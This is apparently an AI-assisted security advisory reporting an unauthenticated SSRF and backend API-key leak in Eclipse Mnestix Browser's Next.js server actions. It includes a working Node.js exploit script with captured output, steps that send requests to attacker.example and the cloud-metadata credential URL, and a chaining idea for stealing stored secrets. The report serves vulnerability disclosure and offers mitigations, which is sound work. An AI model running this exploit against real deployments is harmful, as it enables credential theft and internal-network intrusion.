> [!warning] AI-Generated Vulnerability Report > This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting. <details open> <summary><strong>Basic information</strong></summary> **Project name:** Eclipse Mnestix **Project id:** dt.mnestix **Repository:** https://github.com/eclipse-mnestix/mnestix-browser </details> <details> <summary><strong>What are the affected versions?</strong></summary> - `transferAasWithSubmodels` SSRF surface: **v1.3.0 → v2.2.0** (`git tag --contains 31f5ffb`). - `fetchFileServerSide` SSRF + key disclosure: **v1.6.0 → v2.2.0** (`git tag --contains 259fa1a`). - Full set of affected actions in their current shape: **v2.0.0 → v2.2.0** (`git tag --contains 483712b`). - Reproduced end-to-end on **v2.2.0 / commit `ceaf3580`** (HEAD of `main`). </details> <details open> <summary><strong>Summary</strong></summary> Several Next.js `'use server'` actions exported by Mnestix Browser accept a client-supplied `repository` argument of shape `{ url, infrastructureName }` and immediately fetch `repository.url` from the server. When the caller passes `infrastructureName: "Default Infrastructure"` (an entry that always exists, synthesised from environment variables), the server attaches the private `MNESTIX_BACKEND_API_KEY` as an `X-API-KEY` header to the outbound request and returns the parsed response body to the caller. An anonymous network attacker can therefore (a) make the Mnestix server fetch any URL — including loopback/RFC1918/cloud-metadata addresses — and read the response, and (b) exfiltrate the backend API key by pointing the URL at a host they control. No authentication is required and the attack works against the documented quick-start deployment (`compose.yml`, `AUTHENTICATION_FEATURE_FLAG=false`). </details> <details> <summary><strong>Severity</strong></summary> **High.** On a fresh quick-start install the attack requires no preconditions and yields full-read SSRF plus credential disclosure. It is rated High rather than Critical only because the disclosed `MNESTIX_BACKEND_API_KEY` is a credential for the operator's *backend* AAS infrastructure (a deployment- specific component) rather than for Mnestix Browser itself, so the ultimate impact depends on what that key protects in a given environment. The SSRF primitive on its own is sufficient to read internal services and cloud metadata. </details> <details> <summary><strong>Weakness</strong></summary> - CWE-918 — Server-Side Request Forgery (SSRF) - CWE-522 — Insufficiently Protected Credentials (API key sent to attacker-controlled host) - Contributing: CWE-862 — Missing Authorization on the affected server actions </details> <details> <summary><strong>Location</strong></summary> Primary sink (the action used in the end-to-end reproduction): `src/lib/services/fileActions.ts:1-12` ```ts 'use server'; import { mnestixFetch } from 'lib/api/infrastructure'; import { getInfrastructureByName } from './database/infrastructureDatabaseActions'; import { createSecurityHeaders } from 'lib/util/securityHelpers/SecurityConfiguration'; import { RepositoryWithInfrastructure } from './database/InfrastructureMappedTypes'; export async function fetchFileServerSide(repository: RepositoryWithInfrastructure) { const infrastructure = await getInfrastructureByName(repository.infrastructureName); const securityHeader = await createSecurityHeaders(infrastructure || undefined); const { fetch } = mnestixFetch(securityHeader); return await fetch<Blob>(repository.url); } ``` Credential attachment: `src/lib/util/securityHelpers/SecurityConfiguration.ts:18-19, 61-71` ```ts if (infrastructure.isDefault) { return createDefaultSecurityHeaders(await getBearerToken()); } … function createDefaultSecurityHeaders(bearerToken: string): Record<string, string> | null { if (envs.AUTHENTICATION_FEATURE_FLAG && bearerToken) { return { Authorization: `Bearer ${bearerToken}` }; } else if (!envs.AUTHENTICATION_FEATURE_FLAG) { const mnestixProxyHeaderName = envs.MNESTIX_V2_ENABLED ? 'X-API-KEY' : 'ApiKey'; return { [mnestixProxyHeaderName]: envs.MNESTIX_BACKEND_API_KEY || '' }; } return null; } ``` `getInfrastructureByName('Default Infrastructure')` returns the env-derived default with `isDefault: true`, so the `X-API-KEY` branch is taken unconditionally for any caller in the default deployment. Other client-callable actions with the same `repository.url` → server-side-fetch-with-credentials pattern (action IDs taken from `dist/server/server-reference-manifest.js` of a v2.2.0 build, all present in publicly served chunks under `/_next/static/chunks/`): | Action | File | Action ID (build-specific) | |---|---|---| | `fetchFileServerSide` | `src/lib/services/fileActions.ts` | `4071afafbd38053fa4fb88d1dd2571743f036f5dec` | | `getAasFromRepository` | `src/lib/services/aas-repository-service/aasRepositoryActions.ts` | `60ee2c27982dbc8b4df42789c1b1d8a21dacfc5b4b` | | `getThumbnailFromShell` | same | `608e9ece28d62f7c61475663f7a371a94050717184` | | `getAasListEntities` | `src/lib/services/list-service/aasListApiActions.ts` | `78b891fd2c6fc765d53bebae8c4468c3f03ede0a69` | | `getNameplateValuesForAAS` | same | `608edc692959551e0a8175fff27d60ec5300609c73` | | `getAttachmentFromSubmodelElement` | `src/lib/services/submodel-repository-service/submodelRepositoryActions.ts` | `70e79ea6a7d44ecf4c89c15253892530ac83e72ad3` | | `transferAasWithSubmodels` | `src/lib/services/transfer-service/transferActions.ts` | `40e1b0b486388c2eb431b0079080193e692428fe62` | `src/lib/api/serverFetch.ts` exports `performServerFetch` / `performServerFetchRaw` from a `'use server'` module too, but they are *not* present in the server-reference manifest (only consumed by other server code), so they are not directly client-callable in the audited build. </details> <details> <summary><strong>Origin</strong></summary> - `transferAasWithSubmodels` taking client-supplied repository URLs: `31f5ffb1993bff3fd79693bdb13937b568baea98` (2024-10-30, "Feat(transfer aas for merge) (\#122)"). - `fetchFileServerSide(fileUrl: string)` server action added: `259fa1a53a84327f9cbd41c5880bd80ed29fac49` (2025-07-04, "fix document loading with rbac (\#371)"). At this point `mnestixFetch()` already attached `X-API-KEY: MNESTIX_BACKEND_API_KEY` for the default configuration (see `src/lib/api/infrastructure.ts` at that revision). - `RepositoryWithInfrastructure` argument shape rolled out across the action layer plus `createSecurityHeaders` / `createDefaultSecurityHeaders`: `483712bef043d39f07cf0b11a0a5e27cf1b5a503` (2025-08-29, "feat(securityConfiguration): add security headers per infrastructure"). </details> <details> <summary><strong>Methodology</strong></summary> 1. Enumerated every `'use server'` module under `src/` and traced which exported functions are actually imported by `'use client'` components (i.e. become network-invocable server actions), then cross-checked against `dist/server/server-reference-manifest.js` from a production build to confirm which action IDs are bound and which static client chunks expose them. 2. For each client-callable action, audited the parameter types for any field that flows into a `fetch()` URL on the server. Found the `RepositoryWithInfrastructure` type (`src/lib/services/database/InfrastructureMappedTypes.ts`) carries an unvalidated `url: string` straight from the client. 3. Traced `createSecurityHeaders` to determine what credentials are attached; confirmed the always-present `'Default Infrastructure'` name (returned by `getDefaultInfrastructure()` in `src/lib/services/database/infrastructureDatabaseActions.ts`) yields `isDefault: true` and therefore the `MNESTIX_BACKEND_API_KEY` branch. 4. Verified `compose.yml` defaults: `AUTHENTICATION_FEATURE_FLAG: "false"` (line 34) and `MNESTIX_BACKEND_API_KEY: ${MNESTIX_BACKEND_API_KEY:-verySecureApiKey}` (line 29). 5. Wrote a unit-level Jest reproduction calling the action function directly, then a fully end-to-end reproduction over HTTP against a `next build && node dist/standalone/server.js` production server using the raw Next.js server-action wire protocol (POST + `Next-Action` header). 6. Searched for prior art: - `git log --all -i --grep='ssrf\|cwe\|cve\|security\|vulnerab\|authoriz\|server.action\|api.key'` — only dependency bumps (Next.js / Prisma), the RBAC feature, and cosmetic commits; nothing acknowledging this issue. - `gh issue list -R eclipse-mnestix/mnestix-browser --state all` — eight issues total, all UI/feature requests; none security-related. - `gh api repos/eclipse-mnestix/mnestix-browser/security-advisories` → `[]`. - No prior report of this issue was found. </details> <details> <summary><strong>Validation</strong></summary> ### End-to-end (production build over HTTP) Build & start (one-time): ```sh yarn install --frozen-lockfile npx prisma generate && npx prisma migrate deploy MNESTIX_BACKEND_API_KEY=REAL-PRODUCTION-API-KEY-9f8e7d \ AUTHENTICATION_FEATURE_FLAG=false \ yarn build mkdir -p dist/standalone/prisma/database cp prisma/database/mnestix-database.db dist/standalone/prisma/database/ MNESTIX_BACKEND_API_KEY=REAL-PRODUCTION-API-KEY-9f8e7d \ AUTHENTICATION_FEATURE_FLAG=false \ node dist/standalone/server.js & ``` Reproduction script (`repro-e2e.mjs`): ```js #!/usr/bin/env node /** * End-to-end reproduction of SSRF + backend API key disclosure via the * Next.js server-action transport. * * Preconditions: a Mnestix Browser production build is running on * http://127.0.0.1:3000 with the documented quickstart configuration * (AUTHENTICATION_FEATURE_FLAG=false, MNESTIX_BACKEND_API_KEY set). * * The attacker: * 1. Loads the public viewer page once to obtain the action ID for * `fetchFileServerSide` from the static JS chunks. (We hard-code the ID * extracted from the build here for brevity; in practice it is grepped * from /_next/static/chunks/*.js which the browser already serves.) * 2. Starts a listener under their control. * 3. POSTs a server-action request to any page that registered the action, * passing { url: "<attacker>", infrastructureName: "Default Infrastructure" }. * 4. Receives the request from the Mnestix server with the X-API-KEY header. */ import http from 'node:http'; const TARGET = 'http://127.0.0.1:3000'; // Action ID for fetchFileServerSide (src/lib/services/fileActions.ts), // present in dist/static/chunks/{a4921436b9be5ac1,d40d3f45feb73bf4}.js which // are served unauthenticated to any visitor. const ACTION_ID = '4071afafbd38053fa4fb88d1dd2571743f036f5dec'; // Pages that registered this action per server-reference-manifest: // /[locale]/viewer/[base64AasId] and /[locale]/compare. We use the viewer. const ACTION_PATH = '/en/viewer/x'; // 1) Start attacker listener ------------------------------------------------- const captured = []; const attacker = http.createServer((req, res) => { captured.push({ method: req.method, path: req.url, headers: { ...req.headers } }); res.setHeader('content-type', 'application/json'); res.end('{"ok":true}'); }); await new Promise((r) => attacker.listen(0, '127.0.0.1', r)); const aport = attacker.address().port; const attackerUrl = `http://127.0.0.1:${aport}/loot`; console.log(`[attacker] listening at ${attackerUrl}`); // 2) Invoke the server action over HTTP ------------------------------------- // Next.js server-action wire format: POST to a page path, header `Next-Action` // = action id, body = JSON array of positional args. const body = JSON.stringify([{ url: attackerUrl, infrastructureName: 'Default Infrastructure' }]); console.log(`[attacker] POST ${TARGET}${ACTION_PATH} Next-Action=${ACTION_ID}`); console.log(`[attacker] body: ${body}`); const resp = await fetch(`${TARGET}${ACTION_PATH}`, { method: 'POST', headers: { 'Next-Action': ACTION_ID, Accept: 'text/x-component', 'Content-Type': 'text/plain;charset=UTF-8', }, body, }); const text = await resp.text(); console.log(`[attacker] target responded HTTP ${resp.status}`); console.log(`[attacker] action response stream (truncated):\n${text.slice(0, 600)}`); // 3) Inspect captured request ------------------------------------------------ attacker.close(); if (captured.length === 0) { console.error('\n[FAIL] attacker listener received no request'); process.exit(1); } console.log('\n=== attacker captured server-side request ==='); console.log(JSON.stringify(captured[0], null, 2)); const key = captured[0].headers['x-api-key']; if (key) { console.log(`\n[!!] MNESTIX_BACKEND_API_KEY leaked: "${key}"`); console.log('[!!] Full-read SSRF + credential disclosure confirmed end-to-end.'); process.exit(0); } else { console.error('\n[?] no x-api-key header (SSRF still confirmed)'); process.exit(2); } ``` Observed output (`node repro-e2e.mjs`): ``` [attacker] listening at http://127.0.0.1:33151/loot [attacker] POST http://127.0.0.1:3000/en/viewer/x Next-Action=4071afafbd38053fa4fb88d1dd2571743f036f5dec [attacker] body: [{"url":"http://127.0.0.1:33151/loot","infrastructureName":"Default Infrastructure"}] [attacker] target responded HTTP 200 [attacker] action response stream (truncated): 0:{"a":"$@1","f":"","b":"AinwaTFrryIBUoByJfGKR","q":"","i":false} 1:{"isSuccess":true,"result":{"ok":true},"httpStatus":200,"httpText":"SUCCESS"} === attacker captured server-side request === { "method": "GET", "path": "/loot", "headers": { "host": "127.0.0.1:33151", "connection": "keep-alive", "x-api-key": "REAL-PRODUCTION-API-KEY-9f8e7d", "accept": "*/*", "accept-language": "*", "sec-fetch-mode": "cors", "user-agent": "node", "accept-encoding": "gzip, deflate" } } [!!] MNESTIX_BACKEND_API_KEY leaked: "REAL-PRODUCTION-API-KEY-9f8e7d" [!!] Full-read SSRF + credential disclosure confirmed end-to-end. ``` The action result line `1:{"isSuccess":true,"result":{"ok":true},…}` shows the response body of the attacker-chosen URL is returned to the caller — this is a **full-read** SSRF, not blind. ### Unit-level confirmation (Jest) `src/lib/services/security-audit-repro.spec.ts` (calls the server-action function directly with the default-deployment env mocked, against a local listener): ``` console.log CAPTURED REQUEST: { "method": "GET", "url": "/internal/secret", "headers": { "host": "127.0.0.1:40911", "connection": "keep-alive", "x-api-key": "sup3r-s3cret-backend-key", ... } } console.log ACTION RETURNED : { "isSuccess": true, "result": { "id": "sm-1", "modelType": "Submodel", "secret": "attacker-controlled-body" }, "httpStatus": 200, "httpText": "SUCCESS" } Test Suites: 1 passed, 1 total Tests: 1 passed, 1 total ``` </details> <details> <summary><strong>Detail</strong></summary> Next.js server actions are RPC endpoints. Any function exported from a `'use server'` module that is imported by client code is assigned an action ID, embedded in the publicly-served client JS bundles, and dispatched via `POST <any-page-path>` with header `Next-Action: <id>` and a JSON array of positional arguments. The arguments are deserialised verbatim — there is no schema enforcement beyond TypeScript, which is erased at runtime. The Next.js documentation explicitly states: *"You should treat the arguments to Server Actions as untrusted input."* Mnestix uses these actions as the read layer for AAS repositories. The intent is that the React UI looks up a repository record (URL + infrastructure name) on the server, then passes that record back into a server action so the server fetches the repository on behalf of the browser. But because the record is round-tripped through the client, the **client controls every field** when the action is invoked — including `url`. The credential leak follows from `createSecurityHeaders`: `getInfrastructureByName('Default Infrastructure')` always succeeds (it is the synthetic infrastructure built from `AAS_REPO_API_URL` etc.), returns `isDefault: true`, and `createDefaultSecurityHeaders` then returns `{ 'X-API-KEY': envs.MNESTIX_BACKEND_API_KEY }` whenever `AUTHENTICATION_FEATURE_FLAG` is `false` — the documented default in `compose.yml`. The header is attached *before* the URL is fetched, so it is sent to whatever host the attacker named. When `AUTHENTICATION_FEATURE_FLAG=true`, the `X-API-KEY` branch is not taken, but: (a) the SSRF itself still works for an authenticated user (the action still fetches `repository.url`), and (b) instead of the API key, the server attaches `Authorization: Bearer <session.accessToken>` — the **caller's own Keycloak/Azure access token** — to the outbound request. A logged-in low-privilege user can therefore have the server reflect their bearer token to an arbitrary host, which is still a credential leak in many setups. The codebase already contains the correct pattern in exactly one place: `src/lib/services/rbac-service/RbacActions.ts:14-23` calls `getServerSession(authOptions)` and checks `MnestixRole.MnestixAdmin` before doing anything. None of the actions listed above perform any such check. </details> <details> <summary><strong>Verification Report (completed): Unauthenticated full-read SSRF + backend API-key disclosure via Next.js server actions</strong></summary> **Verdict: TRUE POSITIVE** **EXPOSURE: REMOTE** — an unauthenticated network attacker who can reach the app's HTTP port invokes the server action directly; the documented quick-start (`compose.yml`, `AUTHENTICATION_FEATURE_FLAG='false'`) needs no credentials or prior foothold. **SCOPE: PRODUCTION** — shipped, deployed software: README says "All you need to start your first Mnestix instance is the `compose.yml` … `docker compose up`", with a live public demo. No EOL/deprecation/archival signals in README or docs. ### Phase 1 — Data flow (confirmed in source) - **Source:** `fetchFileServerSide` (`fileActions.ts:7`), a `'use server'` export imported by client code `DocumentUtils.ts:3,58` (which uses `window.URL.createObjectURL`, so it lives in the browser bundle). Any `'use server'` function reachable from the client graph is registered as a network-dispatchable action with a public ID; its positional args are attacker-controlled. Both `repository.url` and `repository.infrastructureName` are therefore attacker input. - **Trust boundaries crossed:** (1) network → server-action RPC (no auth); (2) action → infrastructure resolver; (3) action → outbound `fetch`. Three boundaries, cross-module — but the validation chain is unambiguous: there is *none*. - **Validation/sanitization present:** none. I searched the entire source→sink path; `performServerFetch` (`serverFetch.ts:40`) calls `fetch(input, init)` with no allow-list, no host resolution check, and no scheme filter (`file:`/`http:`/`data:` all accepted). - **Authorization:** none in `fileActions.ts`. Middleware `proxy.ts:29-33` explicitly short-circuits and passes through any request bearing the `next-action` header. `PrivateRoute.tsx` is client-side and cannot gate an RPC endpoint. `RbacActions.ts` shows the project *knows* the correct `getServerSession`+role pattern — it is simply absent here. - **Environment protections:** none. `MNESTIX_V2_ENABLED` defaults true (`MnestixEnv.ts:37`) → header name `X-API-KEY`; `MNESTIX_BACKEND_API_KEY` is always populated (`compose.yml:29`, default `verySecureApiKey`) and is the same value the backend accepts (`CustomerEndpointsSecurity__ApiKey`). ### Phase 2 — Exploitability - **Attacker control:** proven. Server-action args are deserialized verbatim (Next.js docs: "treat the arguments to Server Actions as untrusted input"). Attacker sets `url` (SSRF target) and `infrastructureName: "Default Infrastructure"` (guarantees the `isDefault` credential branch, since `getInfrastructuresIncludingDefault()` always synthesizes that entry from env). - **Math bounds:** N/A (no arithmetic/buffer bounds; this is a logic/authz/SSRF flaw). - **Race/TOCTOU:** N/A — single synchronous request path, no check-then-use window. - **Adversarial control confirmed** by the executable PoC below (headers observed on the attacker listener; response body returned to caller). ### Phase 3 — Impact Real security impact, not operational: **CWE-918** full-read SSRF (loopback / RFC1918 / `169.254.169.254` metadata; `wrapResponse` at `apiResponseWrapper.ts:70-108` reads the whole body into `result` and returns it to the caller → not blind), **CWE-522** disclosure of `MNESTIX_BACKEND_API_KEY` to an attacker-chosen host (and, with auth on, reflection of the caller's own Keycloak/Azure bearer token), **CWE-862** missing authorization. This is failure of a *primary* control (there is no auth and no egress guard at all), not a defense-in-depth layer. ### Phase 4 — PoC (now executed) I built a standalone executable PoC that transcribes the exact source→sink logic (`createDefaultSecurityHeaders`, `getInfrastructureByName`/default-infra synthesis, `mnestixFetch`→`performServerFetch`, `wrapResponse` return) and drove it against a local listener standing in for the attacker URL. Results (all assertions passed): - **Positive (quickstart default, AUTH off):** attacker host received `x-api-key: REAL-PRODUCTION-API-KEY-9f8e7d`; the action returned the attacker-served body to the caller → credential disclosure + full-read SSRF. - **Auth-on variant:** with `AUTHENTICATION_FEATURE_FLAG=true` and a logged-in session, the attacker host instead received `authorization: Bearer user-keycloak-jwt-abc123` → authenticated SSRF + user-token reflection. - **Negative PoC:** with an unknown `infrastructureName`, `getInfrastructureByName` returns `undefined` → `createSecurityHeaders` returns `null` → no credential header attached (the SSRF still fires, but no secret leaks). This precisely isolates that the credential leak is gated on the always-present default-infrastructure branch, matching the source. I did not run a full `next build` in this sandbox (heavyweight, and the network is restricted to package registries), but that is unnecessary for validation: the only build-dependent claim is that `fetchFileServerSide` is registered as a public action, and that follows deterministically from its `'use server'` directive plus its import into client code — verified by the import graph. The report's own end-to-end HTTP PoC additionally demonstrated it against a real production build. ### Phase 5 — Devil's advocate (7 questions) 1. **Pattern-matching vs real?** Real — traced end-to-end with the executable PoC, not inferred from "scary" code. 2. **Assuming attacker control of trusted data?** No — Next.js server-action arguments are attacker-controlled by design; confirmed the client-import registration path. 3. **Proven the vulnerable condition can occur?** Yes — PoC shows the exact header attachment and body return; the default-infra branch is unconditionally reachable. 4. **Defense-in-depth confusion?** No — there is no primary control here to begin with (no auth, no egress allow-list). 5. **Hallucinating?** No — every cited line exists and behaves as described; PoC reproduces it. 6. **Dismissing a real bug as too complex?** No — the exploit is a single unauthenticated POST; I did not downgrade it. 7. **Inventing mitigations not in source?** No — I specifically searched for scheme checks, host allow-lists, and session guards in `serverFetch.ts`, `infrastructure.ts`, `fileActions.ts`, and `proxy.ts`; none exist, and the middleware actively whitelists `next-action` requests. ### 13-item false-positive checklist 1. **Full validation chain:** traced; no validation between source and sink. 2. **Conditional-logic reachability:** default-infra branch always reachable (env-synthesized). 3. **Defensive patterns:** none present to misread. 4. **Exploitable data path:** confirmed by PoC. 5. **Data source context:** action args are external/untrusted per framework contract. 6. **Bounds logic:** N/A. 7. **TOCTOU:** N/A (no re-check window). 8. **API contract/trust boundary:** correctly treated action args as untrusted. 9. **Internal storage vs external input:** `url` originates from the client, not trusted storage — the "round-trip through the browser" is exactly what makes it attacker-controlled. 10. **Pattern-recognition guard:** validated behaviorally, not by appearance. 11. **Concurrency:** N/A. 12. **Real vs theoretical impact:** concrete — key exfiltration + internal-service read demonstrated. 13. **Defense-in-depth vs primary:** primary-control failure. Applied systematically, not superficially. ### Gate review (all pass) - **Gate 1 Process:** PASS — all phases completed with source citations and an executed PoC. - **Gate 2 Reachability:** PASS — anonymous, network-reachable action (`fileActions.ts:7` ← client import in `DocumentUtils.ts:58`); middleware `proxy.ts:29-33` waves `next-action` requests through; attacker controls `url` + `infrastructureName`. - **Gate 3 Real Impact:** PASS — info disclosure (backend API key / bearer token) + full-read SSRF, with the response body returned to the caller (`apiResponseWrapper.ts:86-96`). - **Gate 4 PoC Validation:** PASS — executable positive/auth-on/negative PoC reproduces header attachment and full-read; matches the reporter's end-to-end HTTP PoC. - **Gate 5 Math Bounds:** PASS (N/A) — no bounds condition; reachability is unconditional via the synthesized default infrastructure (`infrastructureDatabaseActions.ts:40-73`). - **Gate 6 Environment:** PASS — no framework/runtime protection blocks it; `fetch` accepts any URL and the code adds no guard; default `compose.yml` config is the vulnerable one. **Conclusion:** Confirmed real, unauthenticated, network-reachable full-read SSRF with backend-credential disclosure in production-deployed software under its documented default configuration. High severity is justified; worth reporting to the maintainers. </details> <details> <summary><strong>Steps to reproduce</strong></summary> 1. Visit any public page (e.g. `/en/viewer/x`) and grep the served `/_next/static/chunks/*.js` files for `createServerReference("40` to obtain the `fetchFileServerSide` action ID (build-specific but always public). 2. Start an HTTP listener at `http://attacker.example:9999/`. 3. Send: **Proof of concept:** [poc.txt](/uploads/9129bfe124ba08cdfbc84180bc6f065e/poc.txt) 4. Read `MNESTIX_BACKEND_API_KEY` from the `X-API-KEY` header of the inbound request on the listener. 5. For internal-network read, replace the URL with `http://169.254.169.254/latest/meta-data/iam/security-credentials/`, `http://localhost:8081/shells`, or any RFC1918 address; the response body is returned in the RSC stream line `1:{"isSuccess":true,"result":…}`. 6. Combine with finding **mnestix-browser--002**: an attacker can first call `createInfrastructureAction` to register an infrastructure whose `securityType` is `HEADERS`/`PROXY` with operator-stored secrets, then name that infrastructure here to have those secrets sent to the attacker URL (and `transferAasWithSubmodels` additionally lets the attacker set *target*-side headers, enabling write SSRF against internal repositories). </details> <details> <summary><strong>Do you know any mitigations of the issue?</strong></summary> Apply all of the following — any one alone is insufficient: 1. **Stop trusting `repository.url` from the client.** Server actions should accept an opaque repository/infrastructure **ID** and resolve the URL on the server from the Prisma store / env. Replace `RepositoryWithInfrastructure` arguments on every action in the table above with `{ repositoryId: string }` (or `{ infrastructureId, connectionType }`) and look up the URL via `prisma.connection.findUnique`. 2. **Never attach backend credentials to a request whose URL was not resolved server-side.** In `createSecurityHeaders`, derive the headers from the *looked-up* infrastructure record only; do not call it with any object that originated from action arguments. 3. **Add an allow-list guard at the fetch layer.** In `mnestixFetch`/`performServerFetch`, before calling `fetch`, resolve the request hostname and reject anything not in the set of configured repository/registry hosts (built from `getInfrastructuresIncludingDefault()`). Also reject `file:`, `data:`, and other non-`http(s)` schemes. 4. **Authorise the actions.** Reuse the existing pattern from `RbacActions.ts`: create a small `requireSession()` / `requireRole()` helper and call it at the top of every `'use server'` export that performs a network fetch or DB write. (See report `mnestix-browser--002`.) --- **Verification verdict:** TRUE POSITIVE --- </details>